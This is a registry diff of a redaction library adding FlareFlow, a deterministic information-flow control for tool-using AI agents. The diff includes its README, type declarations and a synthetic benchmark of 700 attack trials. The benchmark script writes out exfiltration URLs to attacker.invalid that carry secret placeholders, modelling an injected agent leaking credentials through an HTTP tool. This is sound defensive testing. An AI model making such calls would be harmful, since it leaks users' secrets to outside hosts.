flare-redact 1.5.1 → 1.6.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/CHANGELOG.md CHANGED
@@ -1,5 +1,53 @@
1
1
  # Changelog
2
2
 
3
+ ## 1.6.0 — 2026-08-09
4
+
5
+ ### FlareFlow: deterministic information-flow control for agents
6
+
7
+ - Add `flare-redact/agent` with `createAgentFlow()`, a model-independent
8
+ declassification boundary for tool-using agents. Every protected value keeps
9
+ runtime provenance — source and detector — and is restored only when an
10
+ operator capability also matches the runtime-resolved sink and exact JSON
11
+ Pointer destination.
12
+ - Add cumulative per-capability use limits and sink-wide use, unique-value, and
13
+ UTF-8 byte budgets across model turns. Authorization preflights the complete
14
+ call: one forged, expired, foreign-flow, key-position, wrong-source,
15
+ wrong-detector, wrong-sink, wrong-path, or over-budget occurrence blocks the
16
+ whole call without partial restoration or budget consumption.
17
+ - Use opaque 128-bit Web Crypto tokens, bounded TTL mappings and audit history,
18
+ transactional protection and revocation, non-reentrant audit delivery,
19
+ trusted final-app restoration, and value-free decisions and snapshots.
20
+ Cycles, shared references, maps, sets, errors, URLs, symbols, sparse arrays,
21
+ and descriptors follow the core graph safety contract.
22
+ - Publish the normative [FlareFlow 1 specification](spec/FLAREFLOW.md), including
23
+ the threat model, state machine, capability syntax, atomicity rules, security
24
+ invariant, resource bounds, and explicit limitations.
25
+
26
+ ### One policy from every runtime
27
+
28
+ - Add operator-controlled `/v1/flows` endpoints to the sidecar for protect,
29
+ inspect, authorize, trusted restore, snapshot, and deletion. Clients cannot
30
+ supply or widen flow policy; invalid policies fail gateway startup.
31
+ - Add TTL- and count-bounded in-memory flow storage, a Prometheus active-flow
32
+ gauge, value-free debug events, safe HTTP 403 decisions, health status, and
33
+ complete gateway tests for enabled, denied, disabled, and invalid-policy paths.
34
+ - Add `RemoteAgentFlow` to the standard-library Python client and
35
+ `RemoteAgentFlow` / `OpenAgentFlow` to the standard-library Go client,
36
+ including safe structured denial details.
37
+
38
+ ### Reproducible evaluation and documentation
39
+
40
+ - Add a deterministic benchmark with 700 exact-token attack trials across seven
41
+ policy-violation families and 300 utility trials, comparing a shared vault, a
42
+ tool-scoped vault, and FlareFlow. The benchmark scope explicitly excludes
43
+ general prompt injection and semantic leakage claims.
44
+ - Add a no-network runnable agent example, CI coverage for the benchmark and
45
+ example, complete README and gateway integration guidance, and a research
46
+ preprint with a reproducible evaluation protocol.
47
+
48
+ No existing API changed behavior. FlareFlow is opt-in, and the gateway endpoints
49
+ remain disabled until an operator supplies and enables a policy.
50
+
3
51
  ## 1.5.1 — 2026-08-06
4
52
 
5
53
  ### Actually zero dependencies
package/README.md CHANGED
@@ -63,7 +63,7 @@ Nothing to configure. No list of field paths to maintain. No native build step.
63
63
  | | | |
64
64
  |---|---|---|
65
65
  | 🔍 **Context-aware** — spans carry risk and confidence | 🔐 **Secure vaults** — opaque tokens, optional AES-GCM persistence | 🎭 **Useful test data** — keyed pseudonyms and typed surrogates |
66
- | 🤖 **Scoped LLM + tool boundaries** — stops cross-tool placeholder restore | 🔌 **Universal middleware** — wrap any SDK, handler, queue, or RPC function | 🪶 **Zero runtime dependencies** — Node, browser, and edge |
66
+ | 🔥 **FlareFlow agent IFC** — source→sink capabilities, exact paths, cumulative budgets | 🔌 **Universal middleware** — wrap any SDK, handler, queue, or RPC function | 🪶 **Zero runtime dependencies** — Node, browser, and edge |
67
67
  | 🐍 **Python, Go, and Rust SDKs** — one spec, four engines, one conformance corpus | 🐳 **Sidecar gateway** — a Docker reverse proxy that needs no code change | 📜 **Detectors as data** — portable FRS-1 packs any engine can load |
68
68
 
69
69
  ## Contents
@@ -81,6 +81,7 @@ Nothing to configure. No list of field paths to maintain. No native build step.
81
81
  - [Contextual and model-assisted PII](#contextual-and-model-assisted-pii)
82
82
  - [Learned confidence, fewer false positives](#learned-confidence-fewer-false-positives)
83
83
  - [Build a private chat app](#build-a-private-chat-app)
84
+ - [Enforce information flow across agent tools](#enforce-information-flow-across-agent-tools)
84
85
  - [Protect tool calls and MCP loops](#protect-tool-calls-and-mcp-loops)
85
86
  - [Your own words](#your-own-words)
86
87
  - [See what leaks, and why](#see-what-leaks-and-why)
@@ -154,6 +155,7 @@ Clone the repository and run these small applications locally:
154
155
  | [`openai-privacy`](examples/openai-privacy) | The model sees an opaque placeholder while the app receives the restored value | `npm --prefix examples/openai-privacy start` |
155
156
  | [`express-pino`](examples/express-pino) | Express keeps the original request while Pino receives a safe snapshot | `npm --prefix examples/express-pino run smoke` |
156
157
  | [`universal-boundaries`](examples/universal-boundaries) | Any SDK method is sanitized and cross-tool placeholder exfiltration is blocked | `npm --prefix examples/universal-boundaries start` |
158
+ | [`flareflow-agent`](examples/flareflow-agent) | An injected model can carry an opaque secret token but cannot restore it at an unauthorized sink or path | `npm --prefix examples/flareflow-agent start` |
157
159
  | [`github-secret-scan`](examples/github-secret-scan) | Pull requests fail when tracked source or configuration files contain detected secrets or PII | Copy the workflow into your repository |
158
160
 
159
161
  Run `npm run build` and install an example's dependencies before its first run.
@@ -173,8 +175,8 @@ dependencies of any kind.
173
175
  | | Install | Docs |
174
176
  |---|---|---|
175
177
  | **Go** | `go get github.com/flare-collection/flare-redact/sdk/go` | [`sdk/go`](sdk/go) |
176
- | **Python** | `pip install "flare-redact @ git+https://github.com/flare-collection/flare-redact@v1.5.1#subdirectory=sdk/python"` | [`sdk/python`](sdk/python) |
177
- | **Rust** | `flare-redact = { git = "https://github.com/flare-collection/flare-redact", tag = "v1.5.1" }` | [`sdk/rust`](sdk/rust) |
178
+ | **Python** | `pip install "flare-redact @ git+https://github.com/flare-collection/flare-redact@v1.6.0#subdirectory=sdk/python"` | [`sdk/python`](sdk/python) |
179
+ | **Rust** | `flare-redact = { git = "https://github.com/flare-collection/flare-redact", tag = "v1.6.0" }` | [`sdk/rust`](sdk/rust) |
178
180
 
179
181
  The Python and Rust engines are not published to PyPI and crates.io yet, so they
180
182
  install from this repository. The commands above are the ones that work today.
@@ -561,6 +563,67 @@ process(out.flush());
561
563
  including nested tool calls, and `session.reset()` starts a fresh conversation.
562
564
  Detected original values stay local while your app keeps a reversible reference.
563
565
 
566
+ ## Enforce information flow across agent tools
567
+
568
+ Tool-scoped vaults stop one class of attack, but a production agent often needs
569
+ finer control: a database credential may be valid for `postgres.execute`, yet
570
+ only in `args.connectionString`, only when it came from configuration, and at
571
+ most once. **FlareFlow** makes that declassification policy executable outside
572
+ the model.
573
+
574
+ ```js
575
+ import { createAgentFlow } from 'flare-redact/agent';
576
+
577
+ const flow = createAgentFlow({
578
+ sinks: {
579
+ 'postgres.execute': {
580
+ capabilities: [{
581
+ id: 'database-credential',
582
+ sources: ['config'],
583
+ detectors: ['url_credentials'],
584
+ paths: ['/args/connectionString'],
585
+ maxUses: 1,
586
+ }],
587
+ budget: { maxUniqueValues: 1, maxBytes: 512 },
588
+ },
589
+ 'http.fetch': { capabilities: [] },
590
+ },
591
+ });
592
+
593
+ const safe = flow.protectForModel('config', {
594
+ connection: 'postgres://admin:password@db.internal/prod',
595
+ });
596
+ // The model sees [FR_FLOW_<128 random bits>]db.internal/prod, never credentials.
597
+
598
+ // Resolve names through your own registry. Never trust the model's label.
599
+ const tool = toolRegistry.resolve(modelCall.name);
600
+ const localCall = flow.authorizeForSink(tool.id, modelCall.arguments);
601
+ await tool.execute(localCall);
602
+ ```
603
+
604
+ Every token carries runtime provenance: source and detector. Authorization also
605
+ checks the resolved sink, its exact JSON Pointer path, per-capability use count,
606
+ and cumulative sink-wide use, unique-value, and UTF-8 byte budgets. One failed
607
+ occurrence blocks the whole call without restoring anything or consuming a
608
+ budget. Forged, expired, cross-flow, and object-key tokens fail closed.
609
+
610
+ `inspectForSink()` preflights without restoring, `snapshot()` returns bounded
611
+ value-free audit state, `revokeSource()` invalidates one source, and
612
+ `restoreForApp()` is reserved for the trusted final application boundary. The
613
+ implementation preserves cyclic/shared graphs, rejects same-flow re-entrancy
614
+ during audit delivery, and never asks the model whether the flow is safe.
615
+
616
+ Read the normative [FlareFlow 1 specification](spec/FLAREFLOW.md), run the
617
+ [reproducible 700-attack / 300-utility benchmark](bench/agent-flow-cases.json),
618
+ read the [technical preprint](paper/flareflow-preprint.md), or start the
619
+ [runnable example](examples/flareflow-agent). The benchmark tests exact
620
+ placeholder restoration; it is deliberately not presented as a general
621
+ prompt-injection benchmark.
622
+
623
+ The same operator-owned policy is available through the sidecar's `/v1/flows`
624
+ API, with standard-library clients for Python and Go. That makes FlareFlow usable
625
+ from any language that can send JSON over HTTP.
626
+
564
627
  ## Protect tool calls and MCP loops
565
628
 
566
629
  An agent loop has two directions: model-produced arguments need their local
@@ -785,7 +848,7 @@ machine-readable JSON and SARIF reports never echo the matched secret value:
785
848
  with:
786
849
  node-version: 24
787
850
  - name: Scan project text files
788
- run: npx --yes --package flare-redact@1.5.1 flare-redact --scan . --exclude package-lock.json
851
+ run: npx --yes --package flare-redact@1.6.0 flare-redact --scan . --exclude package-lock.json
789
852
  ```
790
853
 
791
854
  The scan runs on the GitHub runner, reports safe file and source locations, and
@@ -1004,6 +1067,13 @@ createScopedToolBoundary(opts?) // scope-safe model ↔ tool/MCP
1004
1067
  createToolBoundary(opts?) // legacy single-trust-domain boundary
1005
1068
  redactToolCall / redactToolResult / redactMcpMessage
1006
1069
 
1070
+ // from 'flare-redact/agent'
1071
+ createAgentFlow({ policy?, sinks, limits? }) // provenance + path + budget enforcement
1072
+ flow.protectForModel(source, value)
1073
+ flow.inspectForSink(sink, call) // no restoration or budget consumption
1074
+ flow.authorizeForSink(sink, call) // atomic restore or AgentFlowBlockedError
1075
+ flow.restoreForApp(value) / revokeSource(source) / snapshot() / reset()
1076
+
1007
1077
  // from 'flare-redact/stream'
1008
1078
  redactStream(opts?): Transform // chunk-safe + bounded multiline PEM redaction
1009
1079
 
@@ -1050,6 +1120,10 @@ npm run benchmark:adversarial
1050
1120
  forward restored model output to another untrusted sink automatically.
1051
1121
  - A model-produced tool name is untrusted input. Resolve it to a runtime-owned
1052
1122
  tool/trust-domain scope before calling `restoreForTool()`.
1123
+ - FlareFlow policy, source ids, and sink ids are runtime-owned. A model may carry
1124
+ a token but must never choose the identity or capability used to restore it.
1125
+ - FlareFlow controls exact placeholder declassification. It is not a general
1126
+ prompt-injection defense and cannot protect data already shown to the model.
1053
1127
  - The legacy `createToolBoundary()` restores every placeholder in its shared
1054
1128
  vault. Use `createScopedToolBoundary()` whenever more than one tool or trust
1055
1129
  domain can receive model-produced arguments.
@@ -0,0 +1,59 @@
1
+ {
2
+ "schema": "flareflow-benchmark-v1",
3
+ "description": "Deterministic synthetic evaluation of placeholder-transplant and cumulative-restoration attacks under the FlareFlow threat model.",
4
+ "scope": "This corpus measures exact protected-value restoration at runtime-owned tool boundaries. It is not a general prompt-injection benchmark and does not measure semantic leakage of data already shown to a model.",
5
+ "attackFamilies": [
6
+ {
7
+ "id": "cross_sink",
8
+ "cases": 100,
9
+ "description": "Move a database placeholder into an outbound HTTP sink."
10
+ },
11
+ {
12
+ "id": "same_sink_wrong_path",
13
+ "cases": 100,
14
+ "description": "Use the correct database sink but move the placeholder from connectionString to callbackUrl."
15
+ },
16
+ {
17
+ "id": "source_mismatch",
18
+ "cases": 100,
19
+ "description": "Move a value protected from an unapproved source into an otherwise approved sink path."
20
+ },
21
+ {
22
+ "id": "detector_mismatch",
23
+ "cases": 100,
24
+ "description": "Move a sensitive-key placeholder through a capability that permits only the benchmark detector."
25
+ },
26
+ {
27
+ "id": "foreign_session_replay",
28
+ "cases": 100,
29
+ "description": "Replay a well-formed placeholder minted by another flow instance."
30
+ },
31
+ {
32
+ "id": "cumulative_budget",
33
+ "cases": 100,
34
+ "description": "Repeat an otherwise authorized restoration after its one-use capability budget is exhausted."
35
+ },
36
+ {
37
+ "id": "key_position",
38
+ "cases": 100,
39
+ "description": "Move a protected value into an object-key position, which is never declassified."
40
+ }
41
+ ],
42
+ "utilityFamilies": [
43
+ {
44
+ "id": "exact_authorized_path",
45
+ "cases": 100,
46
+ "description": "Restore the approved source and detector at the exact connectionString path."
47
+ },
48
+ {
49
+ "id": "recursive_authorized_path",
50
+ "cases": 100,
51
+ "description": "Restore an approved value below a terminal recursive path capability."
52
+ },
53
+ {
54
+ "id": "token_free_call",
55
+ "cases": 100,
56
+ "description": "Pass a call with no FlareFlow placeholder through unchanged."
57
+ }
58
+ ]
59
+ }
@@ -0,0 +1,288 @@
1
+ import { readFile } from 'node:fs/promises';
2
+ import { performance } from 'node:perf_hooks';
3
+
4
+ import { createAgentFlow, AgentFlowBlockedError } from '../dist/agent.js';
5
+ import { createScopedToolBoundary, createToolBoundary } from '../dist/tool.js';
6
+
7
+ const definitions = JSON.parse(await readFile(new URL('./agent-flow-cases.json', import.meta.url), 'utf8'));
8
+ const json = process.argv.includes('--json');
9
+ const iterationsArg = process.argv.find((argument) => argument.startsWith('--iterations='));
10
+ const performanceIterations = iterationsArg ? Number(iterationsArg.split('=')[1]) : 20_000;
11
+ const samplesArg = process.argv.find((argument) => argument.startsWith('--samples='));
12
+ const performanceSamples = samplesArg ? Number(samplesArg.split('=')[1]) : 5;
13
+
14
+ if (!Number.isSafeInteger(performanceIterations) || performanceIterations < 100 || performanceIterations > 1_000_000) {
15
+ throw new RangeError('--iterations must be an integer from 100 to 1,000,000.');
16
+ }
17
+ if (!Number.isSafeInteger(performanceSamples) || performanceSamples < 1 || performanceSamples > 25) {
18
+ throw new RangeError('--samples must be an integer from 1 to 25.');
19
+ }
20
+
21
+ const detector = {
22
+ id: 'bench_secret',
23
+ label: 'Synthetic benchmark secret',
24
+ why: 'Matches only the public synthetic FlareFlow benchmark corpus.',
25
+ pattern: /FRBENCH_SECRET_[0-9]{3}/g,
26
+ default: false,
27
+ risk: 'critical',
28
+ };
29
+
30
+ const policy = {
31
+ custom: [detector],
32
+ only: ['bench_secret'],
33
+ redactKeys: true,
34
+ };
35
+
36
+ function contains(value, expected) {
37
+ return JSON.stringify(value).includes(expected);
38
+ }
39
+
40
+ function secretAt(index) {
41
+ return `FRBENCH_SECRET_${String(index).padStart(3, '0')}`;
42
+ }
43
+
44
+ function configuredFlow({ recursive = false, maxUses } = {}) {
45
+ return createAgentFlow({
46
+ policy,
47
+ sinks: {
48
+ 'postgres.execute': {
49
+ capabilities: [{
50
+ id: 'database-connection',
51
+ sources: ['postgres'],
52
+ detectors: ['bench_secret'],
53
+ paths: [recursive ? '/args/**' : '/args/connectionString'],
54
+ ...(maxUses === undefined ? {} : { maxUses }),
55
+ }],
56
+ },
57
+ 'http.fetch': { capabilities: [] },
58
+ },
59
+ });
60
+ }
61
+
62
+ function capture(system, source, secret, detectorMismatch = false) {
63
+ const input = detectorMismatch ? { credential: secret } : secret;
64
+ if (system.kind === 'shared') {
65
+ const safe = system.boundary.redactForModel(input);
66
+ return detectorMismatch ? safe.credential : safe;
67
+ }
68
+ if (system.kind === 'scoped') {
69
+ const safe = system.boundary.redactForModel(source, input);
70
+ return detectorMismatch ? safe.credential : safe;
71
+ }
72
+ const safe = system.boundary.protectForModel(source, input);
73
+ return detectorMismatch ? safe.credential : safe;
74
+ }
75
+
76
+ function sinkScope(sink) {
77
+ return sink.startsWith('postgres.') ? 'postgres' : sink.startsWith('http.') ? 'http' : sink;
78
+ }
79
+
80
+ function execute(system, sink, call) {
81
+ try {
82
+ if (system.kind === 'shared') return { blocked: false, value: system.boundary.restoreForTool(call) };
83
+ if (system.kind === 'scoped') {
84
+ return { blocked: false, value: system.boundary.restoreForTool(sinkScope(sink), call) };
85
+ }
86
+ return { blocked: false, value: system.boundary.authorizeForSink(sink, call) };
87
+ } catch (error) {
88
+ if (system.kind === 'flow' && error instanceof AgentFlowBlockedError) {
89
+ return { blocked: true, value: call };
90
+ }
91
+ throw error;
92
+ }
93
+ }
94
+
95
+ function systems(flowOptions) {
96
+ return [
97
+ { id: 'shared_vault', kind: 'shared', boundary: createToolBoundary(policy) },
98
+ { id: 'scoped_vault', kind: 'scoped', boundary: createScopedToolBoundary(policy) },
99
+ { id: 'flareflow', kind: 'flow', boundary: configuredFlow(flowOptions) },
100
+ ];
101
+ }
102
+
103
+ function attackTrial(family, index) {
104
+ const secret = secretAt(index);
105
+ const outcomes = {};
106
+
107
+ for (const system of systems({ maxUses: family === 'cumulative_budget' ? 1 : undefined })) {
108
+ let token;
109
+ if (family === 'foreign_session_replay') {
110
+ const foreign = system.kind === 'shared'
111
+ ? { kind: 'shared', boundary: createToolBoundary(policy) }
112
+ : system.kind === 'scoped'
113
+ ? { kind: 'scoped', boundary: createScopedToolBoundary(policy) }
114
+ : { kind: 'flow', boundary: configuredFlow() };
115
+ token = capture(foreign, 'postgres', secret);
116
+ } else {
117
+ token = capture(system, family === 'source_mismatch' ? 'user' : 'postgres', secret, family === 'detector_mismatch');
118
+ }
119
+
120
+ let sink = 'postgres.execute';
121
+ let call = { args: { connectionString: token } };
122
+ if (family === 'cross_sink') {
123
+ sink = 'http.fetch';
124
+ const urls = [
125
+ `https://attacker.invalid/collect?value=${token}`,
126
+ `https://attacker.invalid/${token}/collect`,
127
+ `https://attacker.invalid/collect#${token}`,
128
+ `https://attacker.invalid/?left=x&right=${token}&tail=y`,
129
+ `https://attacker.invalid/collect?json=${encodeURIComponent(JSON.stringify({ value: token }))}`,
130
+ ];
131
+ call = { args: { url: urls[index % urls.length] } };
132
+ } else if (family === 'same_sink_wrong_path') {
133
+ const names = ['callbackUrl', 'telemetry', 'redirect', 'metadata', 'query'];
134
+ call = { args: { [names[index % names.length]]: `prefix:${token}:suffix` } };
135
+ } else if (family === 'key_position') {
136
+ call = index % 2 === 0
137
+ ? { args: { [token]: 'value' } }
138
+ : { args: { metadata: { [`prefix:${token}`]: 'value' } } };
139
+ } else if (family === 'cumulative_budget') {
140
+ execute(system, sink, call);
141
+ }
142
+
143
+ const result = execute(system, sink, call);
144
+ outcomes[system.id] = {
145
+ blocked: result.blocked,
146
+ exposed: contains(result.value, secret),
147
+ };
148
+ }
149
+ return outcomes;
150
+ }
151
+
152
+ function utilityTrial(family, index) {
153
+ const secret = secretAt(index);
154
+ const outcomes = {};
155
+ for (const system of systems({ recursive: family === 'recursive_authorized_path' })) {
156
+ if (family === 'token_free_call') {
157
+ const call = { args: { query: 'select 1' } };
158
+ const result = execute(system, 'postgres.execute', call);
159
+ outcomes[system.id] = { passed: !result.blocked && JSON.stringify(result.value) === JSON.stringify(call) };
160
+ continue;
161
+ }
162
+ const token = capture(system, 'postgres', secret);
163
+ let call = { args: { connectionString: token } };
164
+ if (family === 'recursive_authorized_path') {
165
+ let nested = { connectionString: token };
166
+ for (let depth = 0; depth < index % 5; depth++) nested = { nested };
167
+ call = { args: nested };
168
+ }
169
+ const result = execute(system, 'postgres.execute', call);
170
+ outcomes[system.id] = { passed: !result.blocked && contains(result.value, secret) };
171
+ }
172
+ return outcomes;
173
+ }
174
+
175
+ const ids = ['shared_vault', 'scoped_vault', 'flareflow'];
176
+ const summary = Object.fromEntries(ids.map((id) => [id, {
177
+ attackCases: 0,
178
+ attacksBlocked: 0,
179
+ secretExposures: 0,
180
+ harmlessPasses: 0,
181
+ utilityCases: 0,
182
+ utilityPassed: 0,
183
+ byFamily: {},
184
+ }]));
185
+
186
+ let sequence = 0;
187
+ for (const family of definitions.attackFamilies) {
188
+ for (let index = 0; index < family.cases; index++) {
189
+ const outcomes = attackTrial(family.id, sequence++ % 1_000);
190
+ for (const id of ids) {
191
+ const outcome = outcomes[id];
192
+ const target = summary[id];
193
+ target.attackCases++;
194
+ if (outcome.blocked) target.attacksBlocked++;
195
+ if (outcome.exposed) target.secretExposures++;
196
+ if (!outcome.blocked && !outcome.exposed) target.harmlessPasses++;
197
+ const perFamily = target.byFamily[family.id] ?? { cases: 0, blocked: 0, exposures: 0 };
198
+ perFamily.cases++;
199
+ if (outcome.blocked) perFamily.blocked++;
200
+ if (outcome.exposed) perFamily.exposures++;
201
+ target.byFamily[family.id] = perFamily;
202
+ }
203
+ }
204
+ }
205
+
206
+ for (const family of definitions.utilityFamilies) {
207
+ for (let index = 0; index < family.cases; index++) {
208
+ const outcomes = utilityTrial(family.id, sequence++ % 1_000);
209
+ for (const id of ids) {
210
+ const outcome = outcomes[id];
211
+ const target = summary[id];
212
+ target.utilityCases++;
213
+ if (outcome.passed) target.utilityPassed++;
214
+ const perFamily = target.byFamily[family.id] ?? { cases: 0, passed: 0 };
215
+ perFamily.cases++;
216
+ if (outcome.passed) perFamily.passed++;
217
+ target.byFamily[family.id] = perFamily;
218
+ }
219
+ }
220
+ }
221
+
222
+ function measure(label, operation) {
223
+ for (let index = 0; index < 1_000; index++) operation();
224
+ let checksum = 0;
225
+ const durations = [];
226
+ for (let sample = 0; sample < performanceSamples; sample++) {
227
+ const started = performance.now();
228
+ for (let index = 0; index < performanceIterations; index++) checksum += operation();
229
+ durations.push(performance.now() - started);
230
+ }
231
+ durations.sort((a, b) => a - b);
232
+ const durationMs = durations[Math.floor(durations.length / 2)];
233
+ return {
234
+ label,
235
+ iterations: performanceIterations,
236
+ samples: performanceSamples,
237
+ medianDurationMs: Number(durationMs.toFixed(3)),
238
+ minDurationMs: Number(durations[0].toFixed(3)),
239
+ maxDurationMs: Number(durations[durations.length - 1].toFixed(3)),
240
+ operationsPerSecond: Math.round(performanceIterations / (durationMs / 1_000)),
241
+ checksum,
242
+ };
243
+ }
244
+
245
+ const perfSecret = 'FRBENCH_SECRET_999';
246
+ const sharedPerf = createToolBoundary(policy);
247
+ const sharedToken = sharedPerf.redactForModel(perfSecret);
248
+ const scopedPerf = createScopedToolBoundary(policy);
249
+ const scopedToken = scopedPerf.redactForModel('postgres', perfSecret);
250
+ const flowPerf = configuredFlow();
251
+ const flowToken = flowPerf.protectForModel('postgres', perfSecret);
252
+ const performanceResults = [
253
+ measure('shared_vault_restore', () => sharedPerf.restoreForTool({ args: { connectionString: sharedToken } }).args.connectionString.length),
254
+ measure('scoped_vault_restore', () => scopedPerf.restoreForTool('postgres', { args: { connectionString: scopedToken } }).args.connectionString.length),
255
+ measure('flareflow_authorize', () => flowPerf.authorizeForSink('postgres.execute', { args: { connectionString: flowToken } }).args.connectionString.length),
256
+ ];
257
+
258
+ const report = {
259
+ schema: definitions.schema,
260
+ scope: definitions.scope,
261
+ runtime: {
262
+ node: process.version,
263
+ platform: process.platform,
264
+ arch: process.arch,
265
+ },
266
+ summary,
267
+ performance: performanceResults,
268
+ };
269
+
270
+ if (json) {
271
+ process.stdout.write(`${JSON.stringify(report, null, 2)}\n`);
272
+ } else {
273
+ console.log('FlareFlow adversarial and utility benchmark');
274
+ console.log(definitions.scope);
275
+ console.table(ids.map((id) => ({
276
+ system: id,
277
+ attacks: summary[id].attackCases,
278
+ blocked: summary[id].attacksBlocked,
279
+ exposures: summary[id].secretExposures,
280
+ harmless: summary[id].harmlessPasses,
281
+ utility: `${summary[id].utilityPassed}/${summary[id].utilityCases}`,
282
+ })));
283
+ console.table(performanceResults.map(({ label, operationsPerSecond, medianDurationMs }) => ({
284
+ operation: label,
285
+ 'ops/s': operationsPerSecond,
286
+ 'median duration ms': medianDurationMs,
287
+ })));
288
+ }
@@ -0,0 +1,136 @@
1
+ import { type RedactOptions } from './index.js';
2
+ export type AgentFlowViolationReason = 'unknown_token' | 'key_position' | 'capability_denied' | 'capability_budget_exceeded' | 'sink_budget_exceeded';
3
+ export interface AgentFlowBudget {
4
+ /** Maximum restored placeholder occurrences across the lifetime of the flow. */
5
+ maxUses?: number;
6
+ /** Maximum distinct protected values restored to this sink. */
7
+ maxUniqueValues?: number;
8
+ /** Maximum cumulative UTF-8 bytes restored to this sink. */
9
+ maxBytes?: number;
10
+ }
11
+ export interface AgentFlowCapability {
12
+ /** Stable, audit-safe identifier. First matching capability wins. */
13
+ id: string;
14
+ /** Trusted source ids, or `*`. */
15
+ sources: readonly string[] | '*';
16
+ /** Detector ids, or `*`. Defaults to `*`. */
17
+ detectors?: readonly string[] | '*';
18
+ /** JSON Pointer patterns. `*` matches one segment; a terminal `**` matches descendants. */
19
+ paths: readonly string[];
20
+ /** Optional cumulative occurrence budget for this capability. */
21
+ maxUses?: number;
22
+ }
23
+ export interface AgentFlowSinkPolicy {
24
+ capabilities: readonly AgentFlowCapability[];
25
+ /** Cumulative sink-wide leakage budget. */
26
+ budget?: AgentFlowBudget;
27
+ }
28
+ export interface AgentFlowLimits {
29
+ /** Lifetime of a protected value before its mapping is forgotten. Default: 1 hour. */
30
+ tokenTtlMs: number;
31
+ /** Maximum live protected values. Default: 10,000. */
32
+ maxMappings: number;
33
+ /** Maximum retained value-free audit events. Default: 1,000. */
34
+ maxEvents: number;
35
+ }
36
+ export interface AgentFlowViolation {
37
+ reason: AgentFlowViolationReason;
38
+ sink: string;
39
+ /** JSON Pointer to the string carrying the placeholder. Empty string is the root. */
40
+ path: string;
41
+ source?: string;
42
+ detector?: string;
43
+ capability?: string;
44
+ limit?: keyof AgentFlowBudget;
45
+ }
46
+ export interface AgentFlowBudgetUsage {
47
+ uses: number;
48
+ uniqueValues: number;
49
+ bytes: number;
50
+ }
51
+ export interface AgentFlowDecision {
52
+ allowed: boolean;
53
+ sink: string;
54
+ occurrences: number;
55
+ restorable: number;
56
+ violations: readonly AgentFlowViolation[];
57
+ projectedBudget: Readonly<AgentFlowBudgetUsage>;
58
+ }
59
+ export type AgentFlowEvent = {
60
+ type: 'protected';
61
+ time: number;
62
+ source: string;
63
+ occurrences: number;
64
+ detectors: readonly string[];
65
+ liveMappings: number;
66
+ } | {
67
+ type: 'authorized';
68
+ time: number;
69
+ sink: string;
70
+ occurrences: number;
71
+ capabilities: readonly string[];
72
+ budget: Readonly<AgentFlowBudgetUsage>;
73
+ } | {
74
+ type: 'blocked';
75
+ time: number;
76
+ sink: string;
77
+ occurrences: number;
78
+ violations: readonly AgentFlowViolation[];
79
+ } | {
80
+ type: 'revoked';
81
+ time: number;
82
+ source?: string;
83
+ mappings: number;
84
+ };
85
+ export interface AgentFlowSnapshot {
86
+ liveMappings: number;
87
+ sources: Readonly<Record<string, number>>;
88
+ sinks: Readonly<Record<string, Readonly<AgentFlowBudgetUsage>>>;
89
+ events: readonly AgentFlowEvent[];
90
+ }
91
+ export interface AgentFlowOptions {
92
+ /** Detection policy applied before data enters model context. */
93
+ policy?: RedactOptions;
94
+ /** Runtime-owned sink policy. Never derive this object from model output. */
95
+ sinks?: Readonly<Record<string, AgentFlowSinkPolicy>>;
96
+ limits?: Partial<AgentFlowLimits>;
97
+ /** Receives value-free events only. */
98
+ onEvent?: (event: AgentFlowEvent) => void;
99
+ /** Injectable monotonic wall clock for deterministic tests. */
100
+ now?: () => number;
101
+ }
102
+ export interface AgentFlow {
103
+ /** Detect and replace sensitive source values before they enter model context. */
104
+ protectForModel<T>(source: string, value: T): T;
105
+ /** Inspect a model-produced sink call without restoring or consuming budget. */
106
+ inspectForSink(sink: string, value: unknown): AgentFlowDecision;
107
+ /** Atomically authorize and restore a sink call, or throw without restoring anything. */
108
+ authorizeForSink<T>(sink: string, value: T): T;
109
+ /** Restore all live mappings only at the trusted final application boundary. */
110
+ restoreForApp<T>(value: T): T;
111
+ /** Revoke every mapping minted by one trusted source. */
112
+ revokeSource(source: string): number;
113
+ /** Forget mappings and counters, replacing retained history with one reset event. */
114
+ reset(): void;
115
+ /** Value-free state suitable for audit logs and tests. */
116
+ snapshot(): AgentFlowSnapshot;
117
+ readonly size: number;
118
+ }
119
+ export declare class AgentFlowBlockedError extends Error {
120
+ readonly code = "ERR_AGENT_FLOW_BLOCKED";
121
+ readonly sink: string;
122
+ readonly decision: AgentFlowDecision;
123
+ constructor(decision: AgentFlowDecision);
124
+ }
125
+ export declare class AgentFlowLimitError extends Error {
126
+ readonly code = "ERR_AGENT_FLOW_LIMIT";
127
+ constructor(message: string);
128
+ }
129
+ /**
130
+ * FlareFlow: deterministic, model-independent information-flow enforcement for
131
+ * tool-using agents. The trusted runtime labels sources and sinks; model output
132
+ * can carry opaque placeholders but cannot grant itself permission to restore
133
+ * them.
134
+ */
135
+ export declare function createAgentFlow(options?: AgentFlowOptions): AgentFlow;
136
+ //# sourceMappingURL=agent.d.ts.map